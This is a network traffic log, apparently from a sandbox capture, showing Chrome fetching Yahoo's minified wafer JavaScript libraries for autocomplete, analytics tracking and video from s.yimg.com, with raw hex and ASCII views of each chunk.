2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 74 6f 6e 43 6c 69 63 6b 2c 7b 70 61 73 73 69 76 65 3a 21 31 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 72 65 6e 64 65 72 43 6c 65 61 72 42 75 74 74 6f 6e 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 74 3d 65 2e 63 6c 65 61 72 42 75 74 74 6f 6e 54 65 78 74 2c 69 3d 65 2e 65 6c 65 6d 2c 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 61 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 69 6e 70 75 74 2d 77 72 61 70 70 65 72 22 29 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 61 2e 73 74 79 6c 65 2c 7b 70 6f 73 Data Ascii: tonClick,{passive:!1})}},{key:"renderClearButton",value:function(){var e=this._util,t=e.clearButtonText,i=e.elem,a=document.createElement("div"),r=document.createElement("div");a.classList.add("wafer-autocomplete-input-wrapper"),Object.assign(a.style,{pos
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 64 28 72 29 2c 74 7d 7d 2c 7b 6b 65 79 3a 22 67 65 74 53 75 67 67 65 73 74 69 6f 6e 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 69 3d 74 2e 61 72 69 61 43 6f 6e 66 69 67 2c 61 3d 74 2e 65 6c 65 6d 2c 72 3d 74 2e 74 61 72 67 65 74 45 6c 65 6d 2c 6e 3d 74 2e 6e 75 6d 50 6c 61 63 65 68 6f 6c 64 65 72 73 2c 6f 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 73 3d 6f 2e 75 72 6c 2c 75 3d 6f 2e 73 79 6e 63 4f 6e 53 65 61 72 63 68 2c 63 3d 76 6f 69 64 20 30 21 3d 3d 75 26 26 75 3b 69 66 28 21 28 73 26 26 72 26 26 74 68 69 73 2e 67 65 74 4c 69 73 74 4d 61 72 6b 75 70 26 26 74 68 69 73 2e 5f 73 74 61 74 65 2e 61 63 74 69 76 65 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 64 3d 74 68 69 73 Data Ascii: d(r),t}},{key:"getSuggestions",value:function(){var e=this,t=this._util,i=t.ariaConfig,a=t.elem,r=t.targetElem,n=t.numPlaceholders,o=this._util,s=o.url,u=o.syncOnSearch,c=void 0!==u&&u;if(!(s&&r&&this.getListMarkup&&this._state.active))return!1;var d=this
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 73 2c 6e 3d 69 26 26 28 74 7c 7c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 69 29 2c 6f 3d 68 28 6e 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 6c 69 73 74 22 29 29 5b 30 5d 3b 6f 7c 7c 28 6f 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 75 6c 22 29 2c 6f 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 6c 69 73 74 22 29 29 2c 74 68 69 73 2e 5f 75 74 69 6c 2e 74 61 72 67 65 74 45 6c 65 6d 3d 6e 2c 74 68 69 73 2e 5f 75 74 69 6c 2e 6c 69 73 74 45 6c 65 6d 3d 6f 2c 74 68 69 73 2e 5f 75 74 69 6c 2e 79 6c 6b 4d 61 70 3d 79 28 6e 29 2c 61 26 26 72 Data Ascii: s,n=i&&(t\|\|document.body).querySelector(i),o=h(n.getElementsByClassName("wafer-autocomplete-list"))[0];o\|\|(o=document.createElement("ul"),o.classList.add("wafer-autocomplete-list")),this._util.targetElem=n,this._util.listElem=o,this._util.ylkMap=y(n),a&&r
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 7b 6b 65 79 3a 22 63 6c 65 61 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 3b 74 68 69 73 2e 5f 73 74 61 74 65 2e 61 63 74 69 76 65 3d 21 31 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 56 69 73 69 62 6c 65 3d 21 31 2c 74 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 64 69 64 2d 73 75 62 6d 69 74 22 29 2c 74 68 69 73 2e 68 69 64 65 4c 69 73 74 28 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 65 2e 5f 75 74 69 6c 2e 6c 69 73 74 45 6c 65 6d 3b 6c 2e 64 65 73 74 72 6f 79 28 74 29 2c 74 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 Data Ascii: {key:"clear",value:function(){var e=this,t=this._util.elem;this._state.active=!1,this._state.placeholdersVisible=!1,t.classList.remove("wafer-autocomplete-did-submit"),this.hideList(),setTimeout(function(){var t=e._util.listElem;l.destroy(t),t.innerHTML="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49781	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:37 UTC	530	OUT	GET /aaq/wf/wf-rapid-1.10.8.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:37 UTC	855	IN	HTTP/1.1 200 OK x-amz-id-2: 4BaVRH0PbeHLwEmQfp3B1Bp/eFStiINZ7N2JBYKkq/wamdXK7GEtXrtN4mcV4va8I/YwW0aXb4k= x-amz-request-id: 8J8KPA943DCHRMYF Date: Sun, 28 Apr 2024 02:16:13 GMT Last-Modified: Thu, 16 Nov 2023 07:51:34 GMT ETag: "808af2d936dda9bf28a182c7ca2dccde" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: CpHK8dRTJ7Xf.D6vJKo2wpCLD6UmC4Yi Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 13552 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 2233106 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 72 61 70 69 64 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 72 61 70 69 64 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-rapid",[],t):"object"==typeof exports?exports["wafer-rapid"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{}
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 Data Ascii: ther be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}Object.defineProperty(t,"__esModule
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 72 22 2c 22 68 61 6e 64 6c 65 52 61 70 69 64 4d 6f 75 73 65 4c 65 61 76 65 22 5d 2c 4f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 6e 3d 72 2e 73 65 6c 65 63 74 6f 72 3b 69 28 74 68 69 73 2c 74 29 3b 76 61 72 20 6f 3d 61 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 7b 73 65 6c 65 63 74 6f 72 3a 6e 7d 2c 7b 53 54 41 54 45 5f 41 54 54 52 53 3a 6d 7d 29 29 2c 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 Data Ascii: r","handleRapidMouseLeave"],O=function(e){function t(e){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=r.selector;i(this,t);var o=a(this,(t.__proto__\|\|Object.getPrototypeOf(t)).call(this,e,{selector:n},{STATE_ATTRS:m})),s=e.getAttribute
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 65 2e 6d 6f 75 73 65 45 6e 74 65 72 54 69 6d 65 6f 75 74 3d 6e 75 6c 6c 2c 6f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 29 2c 6f 7d 72 65 74 75 72 6e 20 6f 28 74 2c 65 29 2c 75 28 74 2c 5b 7b 6b 65 79 3a 22 5f 62 65 61 63 6f 6e 54 72 69 67 67 65 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 28 30 2c 28 73 7c 7c 6e 28 29 29 2e 67 65 74 52 61 70 69 64 49 6e 73 74 61 6e 63 65 29 28 29 3b 69 66 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 72 3d 74 2e 65 6c 65 6d 2c 69 3d 74 2e 6e 61 6d 65 2c 61 3d 74 2e 74 72 69 67 67 65 72 2c 6f 3d 74 2e 74 72 69 67 67 65 72 4d 65 74 68 6f 64 2c 63 3d 74 2e 70 6f 73 2c 75 3d 69 5b 74 68 69 73 2e 5f 73 74 61 74 65 2e 69 6e 56 69 65 77 43 6f 75 6e 74 7c 7c 30 Data Ascii: e.mouseEnterTimeout=null,o.addEventListeners()),o}return o(t,e),u(t,[{key:"_beaconTrigger",value:function(){var e=(0,(s\|\|n()).getRapidInstance)();if(e){var t=this._util,r=t.elem,i=t.name,a=t.trigger,o=t.triggerMethod,c=t.pos,u=i[this._state.inViewCount\|\|0
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 69 6e 56 69 65 77 43 6f 75 6e 74 3d 30 29 3b 65 2e 5f 62 65 61 63 6f 6e 54 72 69 67 67 65 72 28 29 2c 2b 2b 65 2e 5f 73 74 61 74 65 2e 69 6e 56 69 65 77 43 6f 75 6e 74 2c 65 2e 6e 6f 64 65 49 6e 56 69 65 77 28 29 7d 2c 74 68 69 73 2e 5f 75 74 69 6c 2e 74 72 69 67 67 65 72 49 6e 74 65 72 76 61 6c 29 29 7d 7d 2c 7b 6b 65 79 3a 22 6e 6f 64 65 4f 75 74 4f 66 56 69 65 77 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 73 74 61 74 65 2c 74 3d 65 2e 64 69 64 4c 6f 63 6b 2c 72 3d 65 2e 69 6e 56 69 65 77 54 69 6d 65 6f 75 74 49 6e 73 74 61 6e 63 65 3b 21 74 26 26 72 26 26 28 5f 28 72 29 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 69 6e 56 69 65 77 54 69 6d 65 6f 75 74 49 6e 73 74 61 6e 63 65 3d 6e 75 6c 6c 2c 74 68 69 73 2e Data Ascii: inViewCount=0);e._beaconTrigger(),++e._state.inViewCount,e.nodeInView()},this._util.triggerInterval))}},{key:"nodeOutOfView",value:function(){var e=this._state,t=e.didLock,r=e.inViewTimeoutInstance;!t&&r&&(_(r),this._state.inViewTimeoutInstance=null,this.
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 21 74 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 3f 65 3a 74 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 26 26 6e 75 6c 6c 21 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: alised - super() hasn't been called");return!t\|\|"object"!=typeof t&&"function"!=typeof t?e:t}function l(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.crea
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 28 6e 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e 2e 6b 65 79 2c 6e 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 72 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 72 29 2c 6e 26 26 65 28 74 2c 6e 29 2c 74 7d 7d 28 29 2c 76 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 72 2c 6e 29 7b 6e 75 6c 6c 3d 3d 3d 74 26 26 28 74 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 29 3b 76 61 72 20 69 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 74 2c 72 29 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 69 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 Data Ascii: (n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}(),v=function e(t,r,n){null===t&&(t=Function.prototype);var i=Object.getOwnPropertyDescriptor(t,r);if(void 0===i){var a=Object.getPrototypeOf(
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 28 30 2c 28 66 7c 7c 69 28 29 29 2e 67 65 74 52 61 70 69 64 49 6e 73 74 61 6e 63 65 29 28 29 3b 69 66 28 21 73 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6c 3d 6d 28 65 29 2c 63 3d 6c 2e 69 64 3b 72 65 74 75 72 6e 20 73 2e 69 73 4d 6f 64 75 6c 65 54 72 61 63 6b 65 64 28 63 29 26 26 73 2e 72 65 6d 6f 76 65 4d 6f 64 75 6c 65 28 63 29 2c 65 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 72 61 70 69 64 2d 74 72 61 63 6b 65 64 22 29 2c 21 30 7d 2c 54 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 72 3d 65 2e 72 6f Data Ascii: (0,(f\|\|i()).getRapidInstance)();if(!s)return!1;var l=m(e),c=l.id;return s.isModuleTracked(c)&&s.removeModule(c),e.classList.remove("wafer-rapid-tracked"),!0},T=function(e){function t(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},r=e.ro
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 72 6f 6c 6c 44 69 72 65 63 74 69 6f 6e 3a 74 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 52 65 73 69 7a 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 6d 61 70 4f 66 66 73 65 74 28 29 2c 74 68 69 73 2e 5f 76 61 6c 69 64 61 74 65 57 69 74 68 54 68 72 6f 74 74 6c 65 28 29 7d 7d 2c 7b 6b 65 79 3a 22 73 79 6e 63 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 76 28 74 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 73 79 6e 63 22 2c 74 68 69 73 29 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 2c 65 29 7b 76 61 72 20 72 3d 74 68 69 73 2e 5f 73 74 61 74 65 2e 65 6c 65 6d 65 6e 74 49 6e Data Ascii: rollDirection:t})}},{key:"handleResize",value:function(){this._mapOffset(),this._validateWithThrottle()}},{key:"sync",value:function(e){if(v(t.prototype.__proto__\|\|Object.getPrototypeOf(t.prototype),"sync",this).call(this,e),e){var r=this._state.elementIn
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 74 28 72 2c 65 29 2c 72 2e 6e 6f 64 65 49 6e 56 69 65 77 28 29 7d 65 6c 73 65 20 72 2e 6e 6f 64 65 4f 75 74 4f 66 56 69 65 77 28 29 7d 7d 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 64 65 73 74 72 6f 79 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 76 6f 69 64 20 76 28 74 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 64 65 73 74 72 6f 79 22 2c 74 68 69 73 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 76 61 72 20 72 3d 74 68 69 73 2e 5f 73 74 61 74 65 2c 6e 3d 72 2e 65 6c 65 6d 65 6e 74 49 6e 73 74 61 6e 63 65 73 2c 69 3d 72 2e 65 6c 65 6d 65 6e 74 57 69 74 68 49 6e 74 65 6e 74 69 6f 6e 61 6c 56 Data Ascii: t(r,e),r.nodeInView()}else r.nodeOutOfView()}})}}},{key:"destroy",value:function(e){if(!e)return void v(t.prototype.__proto__\|\|Object.getPrototypeOf(t.prototype),"destroy",this).call(this);var r=this._state,n=r.elementInstances,i=r.elementWithIntentionalV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49780	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:37 UTC	529	OUT	GET /aaq/wf/wf-video-3.1.2.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:38 UTC	867	IN	HTTP/1.1 200 OK x-amz-id-2: t0Dev+4/AnGTTlCGeIGrEb+qWtnk76NXzuiqp8GwNeRNQnCgrH93b++u781lYRMiU6UY/BQke6T140tJ/uqCBg== x-amz-request-id: Q5BH5QPGAHCPD1CY Date: Thu, 02 May 2024 21:14:14 GMT Last-Modified: Fri, 09 Feb 2024 08:42:19 GMT ETag: "9183a4186084c8de52d97dd3b48af62a" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: yWb_PIONAttr4AdQhEOabtL5LeD82yfz Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 30578 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 1819224 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 76 69 64 65 6f 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 76 69 64 65 6f 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-video",[],t):"object"==typeof exports?exports["wafer-video"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{}
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 76 61 72 20 69 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 61 20 69 6e 20 65 29 74 2e 69 6e 64 65 78 4f 66 28 61 29 3e 3d 30 7c 7c 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 Data Ascii: otype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function o(e,t){var i={};for(var a in e)t.indexOf(a)>=0\|\|Object.prototype.hasOwnPrope
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 6e 74 65 72 22 2c 22 68 61 6e 64 6c 65 56 69 64 65 6f 4d 6f 75 73 65 4c 65 61 76 65 22 5d 2c 45 3d 5b 5d 2c 6b 3d 2f 5c 77 7b 38 7d 2d 5c 77 7b 34 7d 2d 5c 77 7b 34 7d 2d 5c 77 7b 34 7d 2d 5c 77 7b 31 32 7d 2f 2c 4f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 6d 65 64 69 61 49 74 65 6d 73 2c 69 3d 65 2e 70 61 67 65 53 70 61 63 65 49 64 2c 61 3d 65 2e 72 65 67 69 6f 6e 2c 6e 3d 65 2e 73 69 74 65 2c 72 3d 65 2e 6c 61 6e 67 2c 73 3d 65 2e 70 6c 75 67 69 6e 43 6f 6e 66 69 67 73 2c 6c 3d 76 6f 69 64 20 30 3d 3d 3d 73 3f 7b 7d 3a 73 2c 64 3d 65 2e 72 61 70 69 64 43 6f 6e 66 69 67 2c 63 3d 65 2e 76 69 64 65 6f 52 65 63 6f 6d 6d 65 6e 64 61 74 69 6f 6e 73 2c 66 3d 28 65 2e 66 6f 72 63 65 44 69 73 61 62 6c 65 46 69 72 73 74 41 64 2c 65 2e 6d 65 Data Ascii: nter","handleVideoMouseLeave"],E=[],k=/\w{8}-\w{4}-\w{4}-\w{4}-\w{12}/,O=function(e){var t=e.mediaItems,i=e.pageSpaceId,a=e.region,n=e.site,r=e.lang,s=e.pluginConfigs,l=void 0===s?{}:s,d=e.rapidConfig,c=e.videoRecommendations,f=(e.forceDisableFirstAd,e.me
